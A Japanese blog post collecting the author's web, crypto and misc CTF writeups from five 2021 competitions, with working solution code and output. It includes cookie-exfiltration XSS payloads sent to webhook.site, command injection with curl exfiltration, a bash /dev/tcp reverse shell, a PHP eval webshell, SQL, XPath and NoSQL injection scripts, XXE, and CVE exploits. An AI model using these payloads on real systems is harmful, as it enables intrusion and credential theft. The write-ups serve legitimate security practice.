st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

VolgaCTF 2021 Qualifier writeup

3/27 - 3/28という日程で開催された。zer0ptsで参加して22位。Rating weightは13.01と不評だったけれども、Web問は面白かったと思う。

[Web] JWT

JWTをデコードすると jku やら jti やらがヘッダに付いていることがわかる。jkuhttps://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d に変えるとwebhook.site側にはHTTPリクエストが飛んできて、Webサーバ側では次のようなエラーが発生する。

JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS256","alg":"HS256"} due to an unexpected exception (org.jose4j.lang.JoseException: Parsing error: org.jose4j.json.internal.json_simple.parser.ParseException: Unexpected token END OF FILE at position 0.) while obtaining or using keys from JWKS endpoint at https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d): JsonWebSignature{"kid":"HS256","alg":"HS256"}->eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwczovL3dlYmhvb2suc2l0ZS9jYzczZjFlNS0xZmMzLTQ1NWQtOGFlMC03MTU1NzNhM2VhMmQiLCJleHAiOjE2MTc1MDgyODMsImp0aSI6ImFfYmNkZlFPVWZtenZRUVhzLWxwdFEiLCJpYXQiOjE2MTY5MDM0ODMsIm5iZiI6MTYxNjkwMzM2Mywic3ViIjoicG95b3lvbiJ9.v4cYdzJyE2L9fb5V5nMFzZd1HkSojbn8ZvxKLSh4qho]

以下のようなJSONを返すURLに jku を変更してやると、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA という秘密鍵で署名したJWTが正当なものと判定されるようになる。subadmin に書き換えるとフラグが得られる。

<?php
header('Content-Type: application/json');
?>
{
    "kty": "oct",
    "alg": "HS256",
    "kid": "HS256",
    "use": "sig",
    "k": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE="
}

[Web] Online Wallet (Part 1)

インターネットバンキング的なWebアプリケーションを攻撃して、なんとかして(最初に100与えられる)残高を150を超えるまで増やせという問題。

app.post('/withdraw', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
    /* only developers can have a negative balance */
    if((result[0].balance > 150) || (result[0].balance < 0))
      res.json({success: true, money: FLAG})
    else
      res.json({success: false})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

レースコンディション。

$ f() {
curl 'https://wallet.volgactf-task.ru/transfer' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
  --data-raw '{"from_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","to_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ g() {
curl 'https://wallet.volgactf-task.ru/transfer' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
  --data-raw '{"to_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","from_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ f&g&f&g&f&g&f&f&

[Web] Online Wallet (Part 2)

?lang=/../deparamjquery-deparamを読み込ませることができるが、これはPrototype Pollutionができるバージョンが使われている。?lang=/../deparam&a[0][]=1&a[0][__proto__][__proto__][b]=1Object.prototype.b = 1 相当のことができる。

jQueryのgadgetを使ってJavaScriptコードを実行できるかと思いきや、それだけでは発火しない。幸いにも id="depositButton" という属性を持っているボタンにホバーするとtooltipが表示されるようになっているので、以下のように iframe で開いた後にURLに #depositButton を追加してやればOK。

<iframe id="iframe" src='https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0][]=1&a[0][__proto__][o][1]=%27%3E%22%3E%3Cb%3Eas&error&a[0][__proto__][__proto__][div][0]=1&a[0][__proto__][__proto__][div][1]=%3Cimg/src/onerror%3d"navigator.sendBeacon(`https://webhook.site/...?1,${document.cookie},2`)"&a[0][__proto__][__proto__][div][2]=1&error' width="800" height="600">
</iframe>
<script>
navigator.sendBeacon(`https://webhook.site/...?test`);
const i = document.getElementById('iframe');
i.onload = () => {
  setTimeout(() => {
    i.src += '#depositButton';
  }, 500);
  navigator.sendBeacon(`https://webhook.site/...?${btoa(i.src)}`);
  i.onload = () => {};
};
</script>

[Web] Static Site

nginxの設定は以下のような感じ。/static/%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a でCRLF Injection(とかHTTP Response Splittingとか呼ぶやつ)ができる

server {
    listen 443 ssl;
    resolver 8.8.8.8;
    server_name static-site.volgactf-task.ru;

    ssl_certificate      /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
    ssl_certificate_key  /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;

    add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
   
    location / {
      root /var/www/html;
    }

    location /static/ {
      proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
    }
}

volga-static-site というS3バケットのリージョンは以下のような手順で特定できる。

$ curl -i s3.amazonaws.com -H "Host: volga-static-site"
HTTP/1.1 200 OK
x-amz-id-2: hIwiy1NTk84Yw0NfevKpu5gC4oE9XDKNtxpwG7O0X0sBGLgZBiTtpYEUubwo/Qn07hFnXztQUMU=
x-amz-request-id: NKKTW8G91RTVVZPG
Date: Wed, 16 Jun 2021 16:50:21 GMT
x-amz-bucket-region: us-east-1
Content-Type: application/xml
Transfer-Encoding: chunked
Server: AmazonS3

...

同じ us-east-1 でS3バケットを作り、以下のような内容の index.htmllocation.href=['…',document.cookie] という内容の exp.jsstatic/ にアップロードする。外部からアクセスできるように設定を変更した上で https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a というURLを報告するとフラグが得られる。

<script src="/static/exp.js%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a"></script>

[Web] Unicorn Networks

我々は手探りで脆弱性を見つけたけれども、CVE-2021-21315という脆弱性だったらしい。SSRF + OSコマンドインジェクション。

$ curl -s -k -g -X $'GET' -H $'Host: 192.46.237.106:3000' $'http://192.46.237.106:3000/api/getUrl?url=http://.../redirect.php?redir=http://localhost/api/admin/service_info?name%5b%5d=%2524(curl%252bhttps://webhook.site/...%252b-d%252b%2560cat%252b%252a%2560)'

ångstromCTF 2021 writeup

4/3 - 4/8という日程で開催された。zer0ptsで参加して3位。

[Misc] CaaSio SE

Dynamic Importsを使ってvm.runInNewContext をエスケープできるテクが知られている。

$ nc misc.2021.chall.actf.co 21705
Welcome to CaaSio Snake Edition! Enter your calculation:
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}
Result:
{
  '(async()=>{try{await import("")}catch(e){e[c][c](b)()}})()': 123,
  'p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))': 123,
  undefined: 123
}
Variables:
a = (async()=>{try{await import("")}catch(e){e[c][c](b)()}})()
b = p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))
c = constructor
actf{maybe_eval_is_just_a_bad_idea}
gg
splitline

[Web] nomnomnom

FirefoxはDangling Markup Injectionの防御機構をまだ実装していない

    fetch('/record', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        name: '<script src="//example.com/a.js" ',
        score: 100
      })
    }).then(res => {
      if (res.redirected) {
        window.location.href = res.url;
      } else {
        res.text().then(text => {
          console.log(`reporting score failed with: ${text}`)
        })
      }      
    });

[Web] Reaction.py

component nameが freq であればXSS。ただし、各文字は一度ずつしか使えない。ありがとうIDN。

(async () => {
  const newcomp = async body => {
    return fetch("/newcomp", {
      "headers": {
        "content-type": "application/x-www-form-urlencoded",
      },
      "body": `name=freq&cfg=${encodeURIComponent(body)}`,
      "method": "POST",
      "credentials": "include",
      "redirect": "manual"
    });
  };
  await fetch("/reset", {
    "method": "POST",
    "credentials": "include",
    "redirect": "manual"
  });
  await newcomp('<SCRIPT src=/\\example。com?>');
  await newcomp('`;</SCRIPT>');
})();

[Web] Sea of Quills

SQLiteでSQLi、ただし以下のような制約がある:

    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

    
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

UNION句で flagtable のレコードを抜き出す分にはこれらの文字は必要ない。

$ curl https://seaofquills.2021.chall.actf.co/quills -d 'cols=flag+from+flagtable+union+select+1&limit=100&offset=0'
                        <ul class="list pl0">

                                        <img src="1" class="w3 h3">
                                <li class="pb5 pl3"> <ul><li></li></ul></li><br />

                                        <img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
                                <li class="pb5 pl3"> <ul><li></li></ul></li><br />

                        </ul>

[Web] Sea of Quills 2

再びSQLiteでSQLi、制約が厳しくなった:

    blacklist = ["-", "/", ";", "'", "\"", "flag"]
    if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

^$ ではなく \A\z を使おうSQLite[keyword] が使えるというネタと組み合わせてなんとかする。

$ curl https://seaofquills-two.2021.chall.actf.co/quills -d 'cols=1[&limit=100&offset=0%0a],flag+from+flagtable'
...
                        <ul class="list pl0">

                                        <img src="1" class="w3 h3">
                                <li class="pb5 pl3">actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea} <ul><li></li></ul></li><br />

                        </ul>
...

[Web] Spoofy

以下のような検証用のWebサーバをHerokuで立てる。

# -*- coding: utf-8 -*-
import json
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    return 'hello, world'

@app.route('/headers')
def headers():
    return json.dumps(dict(request.headers))

if __name__ == '__main__':
    app.run()

以下のように X-Forwarded-Forx_forwarded_for というヘッダを与えると謎の挙動をする。

$ curl "https://lit-hollows-18252.herokuapp.com/headers" -H "X-Forwarded-For: 127.0.0.1" -H "x_forwarded_for: , abc"
{"Host": "lit-hollows-18252.herokuapp.com", "Connection": "close", "User-Agent": "curl/7.68.0", "Accept": "*/*", "X-Forwarded-For": "127.0.0.1, (アクセス元のIPアドレス), abc", "X-Request-Id": "c5b7bd4c-1482-47ff-a19e-1ca313ba9cf0", "X-Forwarded-Proto": "https", "X-Forwarded-Port": "443", "Via": "1.1 vegur", "Connect-Time": "1", "X-Request-Start": "1617539987247", "Total-Route-Time": "0"}

なので:

$ curl "https://actf-spoofy.herokuapp.com/" -H "X-Forwarded-For: 1.3.3.7" -H "x_forwarded_for: , 1.3.3.7"
Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}

Cyber Apocalypse 2021 writeup

4/19 - 4/24という日程で開催された。zer0ptsで参加して12位。

[Web] Alien Complaint Form

次のような厳しく見えるCSPが適用されている。script-src ディレクティブは明示的に指定されていないので 'self' (同一オリジン)になる。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com">

JSONP(これzer0pts CTF 2021のSimple Blogのコードじゃない? ありがとう)を使う。

const jsonp = (url, callback) => {
    const s = document.createElement('script');

    if (callback) {
        s.src = `${url}?callback=${callback}`;
    } else {
        s.src = url;
    }

    document.body.appendChild(s);
};
<meta http-equiv="refresh" content="0;URL='/list?callback=location=[`https://webhook.site/...?`,document.cookie];//'">

[Web] Artillery

ジャバ + XXE。GoSecure/dtd-finderを使おう。

import requests

payload = '''
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "jar:file:///tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd">

    <!ENTITY % URI '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///tomcat/webapps/ROOT/WEB-INF/classes/Flag.java">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ATTLIST attxx aa "bb"'>

    %local_dtd;
]>
<root><query>%local_dtd;</query></root>
'''.strip()

r = requests.post('http://188.166.172.13:30432/search', headers={
  'Content-Type': 'application/xml'
}, data=payload)
print(r.text)

[Web] BlitzProp

flat というライブラリのバージョンが5.0.0に固定されているが、コミットログを見るとこのバージョンにはPrototype Pollutionがあるとわかる。Pugのgadgetと組み合わせてRCE。

$ curl 'http://178.62.30.167:32243/api/submit'   -H 'Content-Type: application/json'   --data-raw '{"song.name":"Not Polluting with the boys","__proto__.block":{"type":"Text","line":"pug.rethrow(process.mainModule.require(`child_process`).execSync(`cat /app/flag*`).toString(),2,3)"}}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>CHTB{p0llute_with_styl3}</pre>
</body>
</html>

[Web] Bug Report

XSShttp://127.0.0.1:1337/<script>location=["https://webhook.site/...?",document.cookie]</script>Cookieからフラグが得られる。

[Web] CAAS

SSRF。COPY /flag から curl file:///flag でローカルファイルを読めばよいとわかる。

[Web] Cessation

Apache Traffic ServerのHTTP Smuggling Attackecho -en "GET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length : 56\r\n\r\nGET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nattack: 1\r\nfoo:\r\n\r\n" | nc 138.68.152.10 32647 を2回実行するとフラグが出た。

[Web] DaaS

Laravel 8.35.1 + デバッグモードが有効なのでCVE-2021-3129が刺さる。

$ php -d'phar.readonly=0' phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flag*"
$ ./laravel-ignition-rce.py http://178.62.14.240:32373/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
HTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
--------------------------
+ Logs cleared

[Web] Emoji Voting

SQLiteのORDER BY以降でのSQLi芸問。Harekaze CTF 2019のSQLite Votingで使ったテクでError-basedに1ビットずつ情報が得られる。

import json
import requests

def query(payload):
  r = requests.post('http://138.68.147.232:31939/api/list', headers={
    'Content-Type': 'application/json'
  }, data=json.dumps({
    'order': payload
  }))
  return 'wrong' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f'abs(-9223372036854775807 - case when unicode(substr(sqlite_version(), {i}, 1)) & {1 << j} then 1 else 0 end)'):
      c |= 1 << j
  res += chr(c)
  print(i, res)

[Web] E.Tree

XPath Injection。

import requests
import json
import string

def query(payload):
  r = requests.post('http://165.227.228.41:32765/api/search', headers={
    'Content-Type': 'application/json'
  }, data=json.dumps({
    'search': payload
  }))
  return 'member exists' in r.text

table = string.printable.strip().replace("'", '')
res = ''
i = 0
while True:
  for c in table:
    r = query("'] or starts-with(/military/district[2]/staff[3]/selfDestructCode,'" + res + c + "') or /*[a='")
    #r = query("'] or starts-with(/military/district[3]/staff[2]/selfDestructCode,'" + res + c + "') or /*[a='") # => part2
    if r:
      res += c
      break
  print(i, res)
  i += 1

[Web] Extortion

LFI問、セッションファイルを include させる。<?php eval($_GET[0]); ?> でwebshellを用意してから /?f=../../../../tmp/sess_fb2b511d037d7ada7c66d73ea4e29fdb&0=passthru(%27cat%20flag*%27); でフラグが得られる。

[Web] Inspector Gadget

CSSとかJSとか色々なファイルにフラグが散らばってるやつ。

[Web] Millenium

ジャバ + Insecure DeserializationはRCEチャンス。rO0ABXQAE3snd29ybSc6J2Rlbl96dWtvJ30= とかの文字列をBase64デコードすると ac ed 00 05 から始まっているあたりから推測できる。java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "bash -c {curl,...:8000}|{bash,-i}" | base64 | tr -d "\n" + bash -c "bash -i >& /dev/tcp/…/8001 0>&1" でリバースシェルが張れる。

[Web] miniSTRypalace

str_replace再帰的に文字列を置換しないので curl "http://46.101.23.157:31385/?lang=..././..././..././..././flag" でPath Traversalできる。

    <?php
    $lang = ['en.php', 'qw.php'];
        include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)]));
    ?>

[Web] pcalc

S4CTF 2021のjunior-phpと同じ手順でなんとかなる。

nanimokangaeteinai.hateblo.jp

[Web] Starfleet

NunjucksでSSTI。

{{ range.constructor('process.mainModule.require("child_process").execSync("/readflag | curl https://webhook.site/... -d @-")')() }}

[Web] Wild Goose Hunt

NoSQL Injection(MongoDB)。

import requests

table = ['\\{', '\\}'] + list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_')
known = 'CHTB'
while True:
  for c in table:
    r = requests.post('http://138.68.143.0:32306/api/login', data={
     'username': 'admin',
     'password[$regex]': known + c + '.*'
    })
    if 'Successful' in r.text:
      known += c
      print(known)
      break

S4CTF 2021 writeup

4/23 - 4/25という日程で開催された。zer0ptsで参加して2位。

[Web] junior-php

&| そして ^ 演算子の左右のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、左右のオペランドを integer に変換 し、結果も integer になります。

https://www.php.net/manual/ja/language.operators.bitwise.php

PHP 8.0.0 より前のバージョンでは、 未定義の定数は、ちょうどstringとして コールしたかのように(CONSTANT vs "CONSTANT")、 PHPはその定数自体の名前を使用したと解釈していました

https://www.php.net/manual/ja/language.constants.syntax.php

という仕様を使って [A-Za-z0-9] $ = の使用を回避しつつ passthrucat flag* というふたつの文字列を作る。可変関数という機能を使って passthru('cat flag*') が呼び出せる。

import urllib.parse

def encode(s):
  s = [c ^ 0xff for c in s]
  return bytes(s) + b'^' + b'\xff' * len(s)

print(urllib.parse.quote(
  b'(' + encode(b'passthru') + b')(' + encode(b'cat flag*') + b');'
))

San Diego CTF 2021 writeup

5/8 - 5/10の日程で開催された。zer0ptsで参加して1位🎉Discordサーバがスコアサーバという不思議なCTFだった。

[Crypto] Case64AR

問題名からシーザー暗号 + Base64と推測できる。シーザー暗号で回すのは暗号文の方ではなく、Base64のテーブルの方。

import string
import base64
s = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv'

table = string.ascii_uppercase
table += string.ascii_lowercase
table += string.digits
table += '+/'

for i in range(64):
  tr = str.maketrans(table, table[i:] + table[:i])
  print(base64.b64decode(s.translate(tr)))

[Crypto] A Prime Hash Candidate

実装が面倒になったらZ3。

from z3 import *

def hash(data):
  out = 0
  for c in data:
    out *= 31
    out += c
  return out

password = [Int('password_%d' % i) for i in range(17)]
solver = Solver()
for c in password:
  solver.add(ord(' ') <= c, c <= ord('~'))
solver.add(hash(password) == 59784015375233083673486266)

r = solver.check()
m = solver.model()
print(''.join(chr(m[c].as_long()) for c in password))

[Crypto] Lost in Transmission

flag.dat の全てのバイトが偶数でほとんどのバイトが0x80を超えているあたりから、フラグの各文字の文字コードが2倍されているのだなあとエスパーできる。

print(''.join(chr(c // 2) for c in s))

[Web] Apollo 1337

minifyされたコードを頑張って読んでいくと、/api/status?verbose= というAPIエンドポイントがあること、yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ がなんらかのトークンとして使えることがわかる。

f:id:st98:20210616115954p:plain

/api/status?verbose=abc/status のほかにもAPIエンドポイントがあることがわかる。

{"status":"health","longStatus":"Healthy. All routes are functioning properly.","version":"1.0.0","routes":[{"path":"/status","status":"healthy"},{"path":"/rocketLaunch","status":"healthy"},{"path":"/fuel","status":"healthy"}]}

/rocketLaunch が怪しい。エラーメッセージなどから頑張ってAPIの使い方を探っていく。

$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{}'
rocket not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":""}'
rocket not recognized (available: triton)
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton"}'
launchTime not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":""}'
launchTime not in hh:mm format
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"00:00"}'
launchTime unapproved
$ for m in {0..60}; do echo -en "$m: "; curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:'$(printf "%02d" $m)'"}'; echo; done
0: fuel pumpID not specified
1: launchTime unapproved
2: launchTime unapproved
3: launchTime unapproved
4: launchTime unapproved
5: launchTime unapproved
6: launchTime unapproved
7: launchTime unapproved
8: launchTime unapproved
9: launchTime unapproved
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4}'
frontend authorization token not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4,"token":"yiLYDykacWp9sgPMluQeKkANeRFXyU3Zux
Brj2BQ"}'
rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}

[Web] GETS Request

/prime?n[toString]=12 で以下のようなエラーが出ることから、Node.js + Expressが使われていることがわかる。

TypeError: Cannot convert object to primitive value
    at /app/index.js:26:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
    at next (/app/node_modules/express/lib/router/index.js:275:10)
    at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

ということは ?n[]=… で文字列と配列を混同させることができるのではないか。適当にいじっていたらフラグが得られた。

$ curl -g "https://gets.sdc.tf/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}

[Web] Git Good

問題名からGitネタだなあと推測できる。rip-git.pl/.git をダウンロードして objects/ 下のファイルを展開していくと、/secret.flag にフラグがあることがわかる。

/* (snip) */
// gotta make sure we don't leak important stuff!
app.all('/users.db', (req, res) => res.sendStatus(403))
app.all('/secret.flag', (req, res) => res.sendStatus(403))
app.all('/app.js', (req, res) => res.sendStatus(403))

// lastly, include all of our assets with zero side effects! :)
app.use(express.static('.'))
/* (snip) */

/secret.flag は弾かれるが、//secret.flag は通った。

$ curl --path-as-is "https://cgau.sdc.tf//secret.flag"
sdctf{1298754_Y0U_G07_g00D!}

[Misc] No flag for you

使えるコマンドは制限されているが、echo opt/*ls opt/ の、echo $(<filename)cat filename の代わりになることを使えばフラグが得られる。

$ nc noflag.sdc.tf 1337
There is no flag here.
rbash$ ls
README
bin
opt
rbash$ cat README
Hahahahahaha!

Welcome to the most restrictive shell ever. Don't even try to escape this.
rbash$ echo opt/*
opt/flag-b01d7291b94feefa35e6.txt
rbash$ cat opt/flag-b01d7291b94feefa35e6.txt
No flag for you!
rbash$ echo $(<opt/flag-b01d7291b94feefa35e6.txt)
sdctf{1t'5_7h3_sh3ll_1n_4_shEll}